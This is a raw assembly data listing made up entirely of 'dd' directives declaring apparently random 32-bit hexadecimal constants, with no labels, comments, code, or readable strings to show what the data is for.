		dd 0A1C88566h, 4FA580E6h, 0B09D2BC8h, 0E23F989Ah, 0DECA9C06h
		dd 953F2CAh, 4C21203Bh,	0D824F551h, 660209DEh, 0B782B990h
		dd 32850F80h, 550CC9F2h, 77B98F40h, 425C7AE2h, 218907EFh
		dd 0D5421D3Ch, 22EE75Ah, 40831422h, 9F98C2CCh, 0D748459Ch
		dd 0DD91E970h, 0DF115A77h, 5382A488h, 0AFFC8CFAh, 0A9B5C397h
		dd 17244DEDh, 54C17789h, 480188AFh, 0CB20C4FAh,	2FDE303Fh
		dd 0B01BDA1Dh, 0EA8326CBh, 0C814137Dh, 8EC9575Eh, 49735E1Eh
		dd 0FA785C09h, 2C50A298h, 0FE24D4A5h, 5E3843C2h, 9C7A95CDh
		dd 0C79EB0DBh, 5446612h, 5A0B97A2h, 339AA678h, 0D145221h
		dd 322590E9h, 0EB5CCF94h, 81FE5EB9h, 354A7CE5h,	6BB52032h
		dd 5CD34B3Ch, 5B685CEh,	5F7B31CAh, 97CFC7EBh, 0F0020B16h
		dd 1C0AB259h, 4C14A510h, 81FF030h, 16E9D6EAh, 51ECD2A2h
		dd 3D40736Ah, 6880BB72h, 615C6271h, 9C752A80h, 0E09DA000h
		dd 0B9A59FDAh, 0F4069794h, 701FFD7h, 147A114Eh,	38DD0C82h
		dd 0A87815BEh, 4408C151h, 0A7141FD1h, 0F7330978h, 0D48BA1D7h
		dd 0A14B2F8Bh, 765F6D6Dh, 47925094h, 0FABD6EC0h, 60EB3D52h
		dd 0BAC1DB2Dh, 0FB653A54h, 0D19B60BFh, 0FC939E9h, 0D2AA0158h
		dd 712DD030h, 2FE6C38Ch, 1708C7B5h, 6EB7CDEAh, 310B288Bh
		dd 1C0868C3h, 0ACFA89AEh, 12A01E28h, 0F3FBA46Ah, 0AB49F913h
		dd 2CC3AA00h, 4A930EA0h, 0E9E9D089h, 0BB9FA89Eh, 0D870DA95h
		dd 3DB9507Dh, 54CF7C29h, 0F2DF8CDh, 81B2FD4h, 0B435FB44h
		dd 2712F48Ah, 0ACFC60FCh, 0A73CCC17h, 38C24152h, 25E9B83Ch
		dd 6F3ECE6h, 0C5EF8101h, 45709145h, 2E2B0D7h, 46707192h
		dd 2B58ECE9h, 58C20902h, 0F129C968h, 0D2A988A9h, 36090126h
		dd 0D9E451Bh, 492295E0h, 65D6E5C1h, 0C4536DA2h,	0D105B912h
		dd 0C818FAE6h, 243D9FC2h, 2AE7303Bh, 0F2D062Bh,	0BC402A71h
		dd 50207E01h, 0AFA4E914h, 0D6079675h, 5AD06785h, 0B6E8215Ah
		dd 0EDC15146h, 11093B18h, 0D9770B68h, 0E5918C00h, 0C7EEEA8Fh
		dd 4440325Eh, 20F70538h, 0FAC80BBEh, 8B58DF08h,	4D72893Fh
		dd 0F18841C6h, 250423E6h, 0D8AD685Bh, 0D14CC43Fh, 1C62EAE2h
		dd 5963E8DBh, 5BF92788h, 818067D9h, 507785EAh, 0FE1BF06h
		dd 880840C2h, 7D2CE90Ah, 0F79555F4h, 0B5FE2AA9h, 2508E999h
		dd 0DD88070Ch, 59EC305Bh, 664EE328h, 0A602F808h, 0B4504056h
		dd 0D22FE952h, 0B2ADB0E3h, 626B9E6Eh, 6C68FE1Bh, 7BDE0CBh
		dd 61192C3Bh, 133BCC6Bh, 8FDBB2DAh, 27B6168Bh, 0C0C55A2Dh
		dd 27C08A88h, 0E50BEE72h, 0F8FE6530h, 443401F0h, 89524898h
		dd 6FC22FEAh, 94C7435Dh, 0CEE6CCAAh, 912A3BCh, 9491B991h
		dd 0C92AC065h, 34BBED4Bh, 0CD4A3197h, 71C5942Ch, 0FC2B2E4Eh
		dd 7F2300CDh, 5E8290Ch,	817707A2h, 0F4564C0h, 7BEB6420h
		dd 594C287Eh, 6B4A05EAh, 0FF295672h, 347B0241h,	0C8178A6h
		dd 456B339Bh, 41DF3801h, 22ED3008h, 75963419h, 0A0071ACCh
		dd 3FD44181h, 5154F0F4h, 0DF01BE9Bh, 317CB137h,	443F5EF2h
		dd 0FBBD9ED2h, 91E48841h, 238E55D7h, 0A3B62D68h, 1A370503h
		dd 2AF2554h, 0C029EB1Ah, 5CE90BFDh, 6BF85810h, 0C131C027h
		dd 0CB7035BCh, 0A0545B32h, 0D860F7AEh, 0C405071Ah, 6E0C0962h
		dd 59F8C231h, 984DCB20h, 69BF0338h, 0EE215D61h,	18CC59Dh
		dd 7A59C5CFh, 0A0742C05h, 0F043CA0Dh, 5DEA39h, 3551721Eh
		dd 60AB7C09h, 0C1648961h, 0AB7402E2h, 0CE3B02D8h, 0B930E94Eh
		dd 74C27AF6h, 7CC40F3Ah, 4B9CCD36h, 59076153h, 0DFC2FD68h
		dd 1254D0B2h, 975CE950h, 9900180Bh, 34936806h, 3D7946BFh
		dd 799652DAh, 40FDF244h
		dd 1B029387h, 0E2E93DA1h, 0AC5B6B46h, 2EEA2980h, 56630D32h
		dd 2B91D031h, 95539328h, 7CC930EEh, 8BE2B05Eh, 25EB921h
		dd 29BF039Ah, 403CC255h, 0BF66900h, 0E8C480DCh,	0BC872B84h
		dd 4C994B19h, 85100B3Fh, 57022C5Ah, 91617BBFh, 0D2015549h
		dd 2076080Dh, 0DC5BD68h, 6BFCDF29h, 229FB092h, 72D95F0Eh
		dd 0C98160F7h, 782D4391h, 41D12E17h, 16AE3984h,	0C861428Ah
		dd 0F0630B09h, 9C6DF43Fh, 0F23A2D12h, 95204B6Eh, 485F6292h
		dd 0BB79B6CEh, 85520B92h, 59306FB6h, 145B05D6h,	0C8F7F9EDh
		dd 67600D6Bh, 1930800Ch, 17A2B83Eh, 0F8B269E9h,	433CC1E8h
		dd 0A1413560h, 87692832h, 8095B2C0h, 6C14DF2h, 0A917E96Eh
		dd 5680553Ch, 27356851h, 94B826E4h, 0F71E925h, 33348477h
		dd 3DBF81AAh, 0BA9C3FA3h, 7CA82468h, 0C156692Ch, 0F77948E9h
		dd 0EE5149F9h, 0A45FECD2h, 76F76CC3h, 0D1024B9Bh, 8CBA8809h
		dd 2B420F8Fh, 5AC440A6h, 0C6BCE4ECh, 0C95A5125h, 8D41EF85h
		dd 0A55D7C29h, 95A9D9C8h, 2AED9A20h, 8D7BC3CBh,	5616454Bh
		dd 4B6D63D9h, 37311112h, 1BFB5Bh, 49BFA38Eh, 9EBA0873h
		dd 7D83E500h, 5D5FFA01h, 57095B0Ch, 5A77CA1Ch, 2947A391h
		dd 6805086Fh, 655E7694h, 1A44F209h, 0A0184B8h, 5EED32BBh
		dd 0A38834DCh, 0C7010E35h, 0A8D8F8EBh, 25BA294Ch, 0E9793021h
		dd 9194CD4h, 702AC96h, 31C7A27Ah, 0C25AD712h, 847ED980h
		dd 2500368h, 0F29FABE9h, 40B62F26h, 0D298465h, 0E912EEA8h
		dd 8AECF8A5h, 0DE705489h, 0AD6D3A0Ah, 0E9099F6Ah, 6839611Fh
		dd 703344D9h, 0BF69894Eh, 5CCB970Eh, 955EA6CCh,	5CE12ED9h
		dd 93BC5E9h, 607E05B1h,	0BFE22773h, 0F80B84E4h,	0A583E95Fh
		dd 57FFBED9h, 0D160E0EDh, 22C9996Bh, 922EF4h, 4D6F380h
		dd 8E5CE172h, 722C3A5Ch, 12E072F1h, 0AC5C4E9h, 824447FDh
		dd 163731Ah, 36CF8127h,	6A75E22Bh, 0C82D65D9h, 6490B05Fh
		dd 71A3D55Bh, 0E2FAB45Eh, 0D6E62641h, 0A246EB43h, 0F067E918h
		dd 5BCD013Eh, 8709B059h, 8CF72C5Ah, 4BF4E917h, 1C7101F8h
		dd 0D22DCC00h, 4A466853h, 3A33A650h, 550D96FDh,	2AE9FCF0h
		dd 0C296A6B2h, 7668563Ah, 4053A485h, 0D6E18BD9h, 20F6E9ACh
		dd 94A46A96h, 2570923Ch, 0DA2A2B29h, 3124C61h, 6D372B1Dh
		dd 55E7BAE9h, 0B63DFF45h, 22E2D4Ch, 5ED9410Bh, 0C6A85C31h
		dd 0F251AFA8h, 0A09FE942h, 66F328ADh, 7E8BBD5Ah, 0E6BD1650h
		dd 0C0681B65h, 19A23505h, 7C894D80h, 0A0F60740h, 25DED753h
		dd 4856325Fh, 58D207D2h, 0F11A1152h, 8BFF0F31h,	27375635h
		dd 73283645h, 133EA52Dh, 0EE59C150h, 0FDE9727Eh, 555BE84Ch
		dd 0EC96FEB2h, 58680BD5h, 504B9810h, 0C5D9F353h, 83B66220h
		dd 97B9C883h, 365F7F54h, 6FB47B8Ah, 67685A82h, 90B3460Bh
		dd 4EB9F4DEh, 31B33009h, 6A0B3E76h, 254B0DE9h, 0DDC052BEh
		dd 0A32DD868h, 0E281C894h, 0EE4317B0h, 4E5F0128h, 68A2C887h
		dd 38BA006Fh, 0E90D57E5h, 6F7E911Dh, 32E0266Bh,	102FC280h
		dd 558C5830h, 5661D21Ah, 9C483230h, 66A6BFF8h, 57C3406Ch
		dd 31E0F5C2h, 2708D848h, 76BAC8B0h, 7A8F2F6Fh, 4C16847Ah
		dd 6FA8636Ch, 77F9A0Fh,	97FD8720h, 0B0E7D0F7h, 0A3D31C0Ch
		dd 1841714h, 487EE1EFh,	0B1B15723h, 29B084E5h, 0A7456771h
		dd 20E872CFh, 16EE5904h, 10F3AD24h, 48778E44h, 0CB5E5A23h
		dd 940A1001h, 3BFABF07h, 6104BB51h, 7345C006h, 60B7CB69h
		dd 9119743h, 0CDE960B7h, 5251D460h, 48AAB225h, 804DEB43h
		dd 0E495F986h, 0D03509C3h, 0E57CF501h, 0E635A726h, 0D1D945FBh
		dd 44B4B7F8h, 5F5AE97Eh, 72ED4B90h, 2C402F41h, 9B400642h
		dd 732E1731h, 0E21C9E56h, 4F72D603h, 0EAD48DE9h, 9E1A3780h
		dd 0F31548E0h, 3A92F124h, 0B12555Eh, 33478F16h,	81C959A5h
		dd 0A8222A2Fh, 0B7845729h, 0C4CBA25Dh, 0C0149F1Fh, 92D9232Eh
		dd 6DC0141h, 8220491Bh,	0B5C6380Ch, 500657C9h, 0A8412C52h
		dd 5286E630h, 288783B1h, 0F5E467C8h, 0BA5FE00Bh, 0F535640Bh
		dd 77D47056h, 264C1340h, 49780495h, 94DDAAB9h, 683C8DEDh
		dd 2A38B4Eh, 0E9477BC5h, 0BB28C109h, 0C428343Fh, 7DF3547Eh
		dd 0DF7DA109h, 0E3C1CA01h, 8A148307h, 46A0C72h,	0CAE90312h
		dd 0D78CAF4Ch, 3455923Bh, 0A3488D02h, 5452C42Fh, 30E94D9Ch
		dd 0C132F63Eh, 51D03E8h, 73933D96h, 832A8BE1h, 67A82DD5h
		dd 9D9EC8EDh, 8991E525h, 5183B70Fh, 0CD02AB1Bh,	0F86EA5C1h
		dd 0E1D28E78h, 3C790B8Ch, 0F12E937Ah, 0DFAAAFE1h, 3492C9F8h
		dd 0F730D50Dh, 0CBB031D1h, 85F9F14Ah, 4DB608B8h, 2D3AD39h
		dd 3A68FF4h, 0E693FC88h, 137314CAh, 0E8642597h,	0AE4A04BBh
		dd 0C1251BFBh, 0C1013068h, 0CCCE71EEh, 0C026500Bh, 0C9043A22h
		dd 0D480D01Ch, 339C5CDh, 0EDD1134Fh, 448DDF7h, 1CF5023Fh
		dd 5D31768Ch, 5AE9C282h, 0CD254954h, 98540868h,	2B312E3Eh
		dd 0DCBA5280h, 33D1B08h, 0B3F2814Ah, 0BA947509h, 59C32987h
		dd 0C8CAE010h, 12CF3164h, 0DA7CFF24h, 96755642h, 0EB831214h
		dd 0F5372402h, 55A42E16h, 15895BAh, 0FF9AA783h,	0EB7EB044h
		dd 688EEC83h, 0E468FC4Ah, 0FE1138F2h, 37A45B50h, 8D334A41h
		dd 798E7318h, 5711D766h, 0A01B292Ch, 5B6885CFh,	316B9D7Dh
		dd 13BF4F3h, 508B1348h,	0F009F328h, 0B0D75h, 0F666A49Ah
		dd 8862B7B8h, 82C274D4h, 49F520D9h, 89710195h, 0E9C13ABCh
		dd 0C96B288Eh, 52B0413Bh, 41DC6F8Bh, 436984D3h,	39279E1Fh
		dd 0E958E831h, 6F72B827h, 0E2085916h, 9F4B89A0h, 27492C94h
		dd 10F64CA6h, 8003A212h, 0D5F6C4EDh, 0B8F37220h, 8C933348h
		dd 51EAAD0Eh, 70B27969h, 0F1509083h, 8D41480Dh,	39E65C57h
		dd 878BCB7h, 722DBD7Ch,	2BC112E7h, 0F99104A5h, 0F0050043h
		dd 9A1D767Eh, 1A350519h, 0D153BE02h, 7AA6C58h, 58957689h
		dd 0C5BF314Fh, 0AE0D098Dh, 1AA889AAh, 9A4008D3h, 8B09E205h
		dd 42EAE99Ah, 0C9657CBh, 0ABD6012Ch, 0CE2C3E87h, 0EF834F21h
		dd 37B961F2h, 97584474h, 0B4E1E21Bh, 6BA329Fh, 529A4A77h
		dd 400A020Ch, 0A4E916B7h, 0EB818EFCh, 51C15F77h, 0A072F268h
		dd 6695E908h, 0D08D264Ah, 0CF646838h, 8A38D731h, 0E9C76996h
		dd 652F7B8Eh, 64A651CEh, 0D361EE5Ch, 0BD001738h, 7B1272D4h
		dd 660E4519h, 300B8076h, 542D72Dh, 0E9485726h, 0F88A9440h
		dd 0D03AB969h, 0A06E29DFh, 79E83661h, 0BDAD62Ch, 7F003A09h
		dd 71212940h, 97522097h, 80029835h, 333E3005h, 9EE5383Bh
		dd 2437CB2Ah, 0E0586912h, 12B4F517h, 0B608C47h,	70F45DB1h
		dd 5082CE26h, 0DE105768h, 493160C8h, 0E9190D70h, 14CFD891h
		dd 0BE9537Bh, 6579A972h, 3A09CE04h, 8BFADFA1h, 209A5A07h
		dd 0BA309AFFh, 6568FF3Ch, 1EC69F75h, 5FC4F94Ah,	9DF8C52Dh
		dd 0C2A4BCC8h, 32774C99h, 0FED838C3h, 0E998BD22h, 62814729h
		dd 58CBD528h, 0BBD5F068h, 321BFD82h, 2854A8DAh,	14B9EA97h
		dd 0B45EBA48h, 0C1955F20h, 0AB0487EFh, 4F8CA517h, 0D4ACD72Ch
		dd 646C1EAh, 0E88D6F17h, 344A8F32h, 99BD82F1h, 7F5E156Ah
		dd 0F8F589CFh, 0C58095C5h, 0F0300805h, 0BFD8B8h, 79EBE57h
		dd 1472F95h, 0A6258765h, 0D6955B70h, 56B0D244h,	2BF50BFFh
		dd 595281h, 0C8C264F3h,	5BDD01FBh, 4608E917h, 0E842608Ch
		dd 4D7F7DCDh, 9E4C76EEh, 101C6C00h, 58E40533h, 0E911460Bh
		dd 0B998601Ah, 0CC430588h
		dd 0F2CF095Bh, 82F7C014h, 0B748102Dh, 16E94860h, 911668F5h
		dd 10954CFBh, 0C651E5ABh, 2DA5CB30h, 0E8604038h, 241E5B25h
		dd 354E4962h, 4142C54Dh, 0C8E612A1h, 4B13686Dh,	8FCB3002h
		dd 4B5C8347h, 5DBF44B9h, 14CC4FA4h, 13581B87h, 0D9307268h
		dd 0C3612ACAh, 4E275AD6h, 0E92F951Bh, 30289CD8h, 2A46D58h
		dd 22174438h, 0E6045721h, 6AAF952h, 94349BEBh, 0DFE3040Ch
		dd 0C4624F6Ch, 0E2F482D1h, 59E82801h, 0EC47752Ah, 72BB13FAh
		dd 4ABB8665h, 445659AFh, 0F4AC1329h, 7A1DC8F4h,	0D0A4D05Fh
		dd 5B39179Dh, 817E5D5Eh, 0EAC109DFh, 0ED1E8203h, 0E0461047h
		dd 5E4A1493h, 0E7700211h, 7D5EEEB4h, 44425F13h,	0D927CCE9h
		dd 0B3530935h, 61B68255h, 0E92CE0C0h, 70224F6Eh, 568528Dh
		dd 815D2F4Dh, 17EC5B88h, 0E915056Bh, 5A3AD0Fh, 0AF368C3h
		dd 0CB678662h, 11D4E91Ch, 56F1DA6Bh, 2DB05BD1h,	0CA3B130Fh
		dd 0C4910803h, 21FC5F16h, 0DE616625h, 148F3455h, 3FFE1C12h
		dd 74056B8h, 8F2F2AE9h,	70C20FA6h, 5E6B1379h, 5F362185h
		dd 4C3E869h, 45D93DC6h,	90D4815Ah, 11A52DAEh, 0F605BE18h
		dd 81DB144Dh, 4BD7D6Dh,	695A9FA8h, 968F3F14h, 0C40EE913h
		dd 8F488129h, 0A3BF00F7h, 3CE2013Dh, 0B2E7814Fh, 0D260D24Bh
		dd 0E89697AAh, 61EA80E2h, 0F141D3F3h, 776AA390h, 0C9BAB22Dh
		dd 43943DFEh, 6BE60090h, 0DD3133F4h, 0CA4AE9h, 5018B880h
		dd 439F5F9Ah, 0C37A2FBh, 4B03EF88h, 290EAACDh, 30F2EFFDh
		dd 5E22D709h, 0F459DAB5h, 4125D26h, 9D6AC3CDh, 60A573FEh
		dd 4666E11Eh, 9A59B3Eh,	0F145D121h, 0BE9C105h, 0C45B79F8h
		dd 0F6F02053h, 0D13B655Bh, 0AFCE056Dh, 20ACA86Fh, 8D04023Eh
		dd 958CE936h, 0C2131D4Dh, 62D705C2h, 0BD2AE584h, 0F99C51E2h
		dd 803025F1h, 2F07EA2Ah, 68297FDEh, 2F08B0C2h, 0BE561198h
		dd 474BA90Bh, 1255586Dh, 0B417D7E9h, 651EDE7Bh,	6BD21004h
		dd 2AE7684h, 43DD687Bh,	52034646h, 7A6BB951h, 0CAA39FE4h
		dd 6F95C059h, 0C91F5A28h, 0BD7C50DBh, 6A24FD50h, 2C956429h
		dd 0E0E90B0Ah, 627D540Fh, 0B8009142h, 4B3BCDDAh, 7341BC75h
		dd 7557CAB7h, 0BF2DC4A3h, 306413C1h, 7A005D3h, 0D84F11E9h
		dd 0F55A06A2h, 34BEF137h, 0FA723179h, 354ED779h, 0B3A34717h
		dd 0CE8C1C0h, 3ECBC831h, 0D7331295h, 14B7BEA8h,	9300B858h
		dd 0E92E4944h, 0E6BF228Dh, 412CB009h, 0EE1220B9h, 98C10180h
		dd 6DC809F7h, 79007FB4h, 336C6B03h, 0C482FAEDh,	45E31CCFh
		dd 889E9F2h, 0A14DFBD6h, 0D71FD8F4h, 12A2B8ABh,	3DFFBA19h
		dd 840CB2FBh, 0C6010E9Bh, 7DF02858h, 0D0448B8Dh, 0F25E4B6Eh
		dd 0CCF6D258h, 99D80417h, 0DD9A6BC7h, 0C092A45Eh, 83CEB35Bh
		dd 0F83E6816h, 732D5BF5h, 0E989026Ah, 7C448C8Eh, 1E84C607h
		dd 9C47794h, 0F60F73BCh, 0AFAC80D6h, 9E90E806h,	38C0CF54h
		dd 21F6845Ah, 0BEEE8100h, 14E8D49h, 854DE68h, 0AFE85B13h
		dd 94E6FCA4h, 93B44A46h, 47315AE9h, 82B9F2D8h, 6BCAB67Fh
		dd 923C13DEh, 31EBE5FAh, 3CE83CC8h, 0C236D18Eh,	73885E9h
		dd 0EBD0194Eh, 2A19BA81h, 6FE43375h, 878360C8h,	223E54EBh
		dd 0CB010613h, 3808B710h, 0F856DE03h, 0ED74BC2Dh, 0C79C44CAh
		dd 0FBB86309h, 0F127001Ch, 0BF4A6A1Dh, 3A081FA8h, 0D1BFA099h
		dd 0D0490731h, 0E3088B53h, 0CB0628D9h, 6D681706h, 0E9522723h
		dd 0FB7BED0h, 2F27C4F1h, 0C1E824FFh, 7B1B373h, 6C76ACE2h
		dd 86B20A49h, 1AB6D188h, 6FF24A7h, 0B455550Ah, 0C9640062h
		dd 0E9019603h, 3842E895h, 6655C5CAh, 54BF326Bh,	0C14B5944h
		dd 0D5315907h, 9508EA26h, 624F409Bh, 24E9F12Ch,	976D4237h
		dd 0B53121CBh, 0BECC2B07h, 0B4CC5EDFh, 0C04BD85Eh, 9F215C88h
		dd 34559642h, 54CA98A0h, 4A2919ADh, 1582CEBh, 9B98C35Fh
		dd 292640EDh, 212DF80Fh, 86426F6Ch, 2D61323Fh, 0D5F904EBh
		dd 0E72DE941h, 50EEC87Fh, 203BE2B4h, 0AC89BD98h, 5213BAFCh
		dd 0E9B00BF9h, 0CC92890Dh, 73826C2Dh, 9BA5BD47h, 0D5F71960h
		dd 81024571h, 785F98CDh, 0E0F36205h, 2C70BEBAh,	14933415h
		dd 2184B8F4h, 0C424B83Eh, 0B4332F90h, 0DFCEE9C0h, 4992B1B4h
		dd 0CABA87C0h, 6820962h, 0E700D2F7h, 9BA89F0Eh,	1261895Dh
		dd 9C95E52Eh, 40539DE0h, 612E5846h, 38184B9Dh, 2D13064Dh
		dd 1D437E87h, 0FDAC50EBh, 0AD8B9E21h, 64D4FC3Fh, 6142EA4Ch
		dd 5C2CA668h, 68A49DEh,	0F3EA80CAh, 31DBDD8Ah, 2ED7D048h
		dd 5D50BCF4h, 68DB9753h, 161FF16Bh, 0B4B9F90Ch,	4CB65FFh
		dd 1C8E4953h, 0F2785827h, 851FD592h, 38D954B1h,	0E8B4D366h
		dd 880A4006h, 35F9D377h, 37F32BAFh, 0AF19C896h,	0EDCC8D5Bh
		dd 0BA1AD23Ch, 2FCD710h, 9AE9142Ah, 0B186C8C2h,	0B6520186h
		dd 5AF130B4h, 0BB537F28h, 0A89908h, 88D1C380h, 0F6735BDCh
		dd 5ECC01Eh, 0C785E4CFh, 0C46397F4h, 62E18277h,	5A91C90Ah
		dd 0FCD5897h, 0BD843FCBh, 0C4FE07FCh, 3E72ECA3h, 9C937C36h
		dd 24E8ED0Eh, 5801990h,	3E57294Bh, 2DD82801h, 16E2BF07h
		dd 3A275556h, 8B5628h, 41D47AA2h, 274B1EE9h, 0DDA2DE9h
		dd 2A12E2E9h, 42C7D900h, 4E360430h, 0E7371DC5h,	0E90FD779h
		dd 0B3289859h, 0B050017Bh, 2CD8F6B9h, 9921AEh, 0E9C228BFh
		dd 9A0F1727h, 0AFA054CEh, 56131B45h, 0C3A189A2h, 0FA8C4840h
		dd 28803F40h, 0A0D302F1h, 5A1468B3h, 71A33Ah, 85F780EDh
		dd 27E9FA88h, 3AA08486h, 11BF37F2h, 12000590h, 89EE40C8h
		dd 2CE95EF7h, 0F0518BE7h, 0F59AEBE9h, 7C526815h, 0A9D85F39h
		dd 31770244h, 7DB66851h, 0B7BE8479h, 0C3841A7Bh, 4976B4F4h
		dd 553B15B6h, 0A54AF3A4h, 0F12D1256h, 3BE84979h, 47943F07h
		dd 15E84FE4h, 0E28FC112h, 0FAC486F1h, 0F6E10917h, 8CF60D5Eh
		dd 0D8BE3B07h, 0E6BCE971h, 5D00100h, 5A20C8B7h,	44ABC987h
		dd 5F4E8958h, 497D2DE6h, 593BCC75h, 73FBB612h, 0FDD954E5h
		dd 499D5135h, 89107D51h, 63360050h, 0F8322D5Eh,	255B02D8h
		dd 1F210198h, 47B9D587h, 0F009008Eh, 5512055Eh,	21FFD24Ch
		dd 6BBAE966h, 9BA88553h, 0F2800280h, 0EB262C5Ah, 333B8428h
		dd 0BBF8E3FCh, 8135048Dh, 0C43D5BEDh, 8CBC173Ah, 63F0492Dh
		dd 0AA18D1D3h, 2F03EDFAh, 7C01F74Dh, 425D651Bh,	0ED56C390h
		dd 729F8339h, 0DA482B27h, 9C0CD667h, 0ACD997CAh, 7C46B203h
		dd 0B7BB0337h, 8190B850h, 2A317ECBh, 11515A4Fh,	685E307Eh
		dd 3DC936CFh, 5B7E220Ah, 991E4380h, 0D0C1D1EAh,	418C2960h
		dd 3B1730AEh, 9F98745Ch, 687EC24Bh, 2E6FEA13h, 1AD47044h
		dd 8D7019B6h, 0D0C188BDh, 0C0A60F02h, 0D2CDE38Ah, 8E22F571h
		dd 0FC4157CDh, 8EE6EC7Bh, 5E4BC1B4h, 938579B6h,	88094763h
		dd 0B6AFA12h, 4B365FE8h, 0CC96B25Ah, 0B7FB010h,	6FC48D4h
		dd 0D82712A0h, 0FA4C015Dh, 0BCEE1086h, 0D6A2AD2Dh, 14DEAE3Fh
		dd 0A0A4FEAh, 0A34D159Fh, 5632220h, 5A7DE516h, 0F04AC04Ah
		dd 5018C902h, 1F52E2C1h, 98E882FAh, 3917460Dh, 83655945h
		dd 0B3BA399h, 0F370C93Ch, 1FAD6817h, 0FAA43A65h, 0C5144AE9h
		dd 0D3ABB8A1h, 2224BBFCh, 0C68087ADh, 4AF633B5h, 0EE82F382h
		dd 2903D205h, 0F9B227F2h, 5E09D6F6h, 9D68F289h,	0FA201B7Ah
		dd 0BD5502F6h, 2A945A32h, 241204F8h, 82002258h,	0CB30B874h
		dd 5DEA3F31h, 734ACA83h, 0E2F819D5h, 0C80666BCh, 872FE901h
		dd 7B1BF4Ch, 106A275Eh
		dd 0B20A98DFh, 28DAC0D9h, 0B1D4FD4h, 0E8F2F6C9h, 0A27D7E20h
		dd 41348D90h, 13E84A71h, 0DD5A505Bh, 0EE29D26Ah, 0F6098C74h
		dd 9B7A4401h, 4F743F74h, 8A6CA6D4h, 0B4A4AF14h,	4D786858h
		dd 0C0D95444h, 0BB5FD20Eh, 27E5DFDCh, 1E91A0C8h, 0CA628C2Eh
		dd 93BAE557h, 3589915Eh, 0E6BA008Fh, 69D12432h,	0DE21A68h
		dd 5B2C605Ch, 0DFC253C5h, 167E5C1h, 0A1810CBFh,	868A81A5h
		dd 0E95B9756h, 273E7DC5h, 9077842Bh, 655E68A0h,	0F15B9B9Dh
		dd 0ED892597h, 0DC30D5h, 0DF131462h, 58D2C99Eh,	0A2625AE3h
		dd 0F409C452h, 0B0D769F6h, 0BAC74250h, 0F69B041Eh, 0C7EBC0DBh
		dd 0F5C937D0h, 0B01A964Eh, 1F127C44h, 0D36E6517h, 8C2CBB58h
		dd 54A04037h, 0E6F7594Eh, 3CD1E9C2h, 2781CB24h,	0C100F9D7h
		dd 0F70008E0h, 34DA0DD0h, 16053652h, 0E8A59D75h, 710F2205h
		dd 17BEA424h, 0E84010CBh, 0F3A710F1h, 0E30E5E31h, 53AC00E7h
		dd 4C4770B7h, 0FC4AF9F8h, 62F2A5E7h, 0F17A2C87h, 694CE997h
		dd 1DA84A04h, 9C6B4305h, 65A41E7Fh, 58256BC6h, 0D979C811h
		dd 8804827Bh, 465FAFEBh, 59DFA109h, 0BEEAE460h,	6BE9E090h
		dd 0C7B397DDh, 824E2DDAh, 6B6C519Fh, 6EC053DCh,	6A014A3Fh
		dd 8F8CC8EFh, 64729A68h, 1A64E920h, 0F1EB9D4Eh,	0EDC06BF3h
		dd 48925C68h, 83F2E927h, 0E0555B6Fh, 7CE64B9Bh,	0BA04A23h
		dd 118B299Fh, 0ED091878h, 8249640Ah, 0DA7B4BA4h, 665802B3h
		dd 5B562DDCh, 909FC5F8h, 0BE5AD322h, 8533089Ah,	70094326h
		dd 0A12148C2h, 6C1A0113h, 2068D2F7h, 0A1CC3F7Bh, 4CC41A5h
		dd 0C9B5B9B1h, 8DBC5456h, 0AFF7BFFCh, 0BFBAF170h, 0BBC1F625h
		dd 47CA3A54h, 72645826h, 92A4C7Ch, 1E1D4CC1h, 903E4781h
		dd 0D04036E3h, 4C297E1Ah, 34926410h, 0F0ADB9B2h, 0E09521DEh
		dd 97075E05h, 30F171E6h, 16B7E8DCh, 0CE889D31h,	692C6048h
		dd 474F028h, 1F20665Bh,	0B65202h, 0FEDEF6D1h, 0A8EE80C6h
		dd 8C17E92Ch, 4CF26880h, 905A6073h, 2E950E4Dh, 2DF560Eh
		dd 2DC16E9Bh, 0F270B662h, 0E304AC07h, 0E245782Ch, 5C704CE0h
		dd 53D640EFh, 4AB8A4E1h, 0BCAD7A4Fh, 8104B993h,	0FE9B9EBh
		dd 41AD5D24h, 0C5D03B06h, 5F3AE8C3h, 0A1D5C5B5h, 0F9F84196h
		dd 0C98005DAh, 0F436AE37h, 0C52BC82h, 552E215Dh, 40403BB4h
		dd 64570Dh, 95352BFBh, 0E9336C56h, 0AABD0B2Ch, 9405449h
		dd 5951478Dh, 9478A380h, 0D662E93Fh, 9A6B82Dh, 54412C11h
		dd 85FA690Ch, 72D4C738h, 4131F22Dh, 8028AC7Ch, 0ACEA654Bh
		dd 3006051Ch, 6FBD087Ah, 0EC5F2585h, 4CF9C05Ch,	952153B5h
		dd 0D02F437Bh, 65CA0120h, 0DEE9F444h, 0B0E22BA0h, 0E5A9CF8Fh
		dd 0F2E58843h, 47047B04h, 128D63Ah, 1F5584EBh, 6CD0BC08h
		dd 207BB859h, 36C0B8D1h, 616D5E51h, 1C86A049h, 722C0174h
		dd 0D15FF909h, 3D2481E1h, 2973B3B7h, 2DF5FD35h,	13938838h
		dd 7EE0E898h, 50C49896h, 0B25AA3B8h, 0A402C8E2h, 297A2F08h
		dd 0E916DE9Ah, 2D54793Ah, 1ECC584Bh, 1B57629Bh,	0EA02F3E8h
		dd 20A44E63h, 789419D0h, 7503D924h, 4029539h, 51092B0Ch
		dd 4162E905h, 140CA008h, 8068580Bh, 7A35FE24h, 66C523F4h
		dd 109FCDF8h, 0C1211778h, 1A764D21h, 0E9CB362h,	54080C3h
		dd 4D946866h, 325EE970h, 28D312D1h, 0DE23581h, 83392348h
		dd 6873EF0Ch, 91FE0036h, 0E9027AEEh, 76D6F543h,	0B5AD7AE0h
		dd 3290B266h, 95E76A20h, 0E1604ED0h, 0D7C981A5h, 599F0A37h
		dd 2CF5D9F7h, 48CB0EC4h, 0C02ED289h, 1588324Bh,	0B4CE011Ah
		dd 304B8960h, 0F512BBF9h, 13AB4F99h, 924CA2ECh,	108C92FCh
		dd 0C8B72197h, 30E957FFh, 0EF59D6CCh, 22C0753h,	0B8834ED4h
		dd 9C39E6F2h, 41B60086h, 15F320D1h, 71A78BBDh, 0B05FBE20h
		dd 40820369h, 3D1DB0F0h, 55AF66E1h, 77F491C8h, 0EB5E149Fh
		dd 1F01E513h, 68D831ADh, 0B7C702Bh, 4223B8CBh, 0A9EA840Fh
		dd 84282585h, 0B745BB50h, 1AC00BEFh, 48FE01E1h,	0C340E95Fh
		dd 92E64183h, 8E405C0Ch, 0C280DA28h, 4EA5B0B4h,	0BAF588F8h
		dd 121655F8h, 1EA8290Ah, 0E1895A27h, 50EDA05Dh,	16D06853h
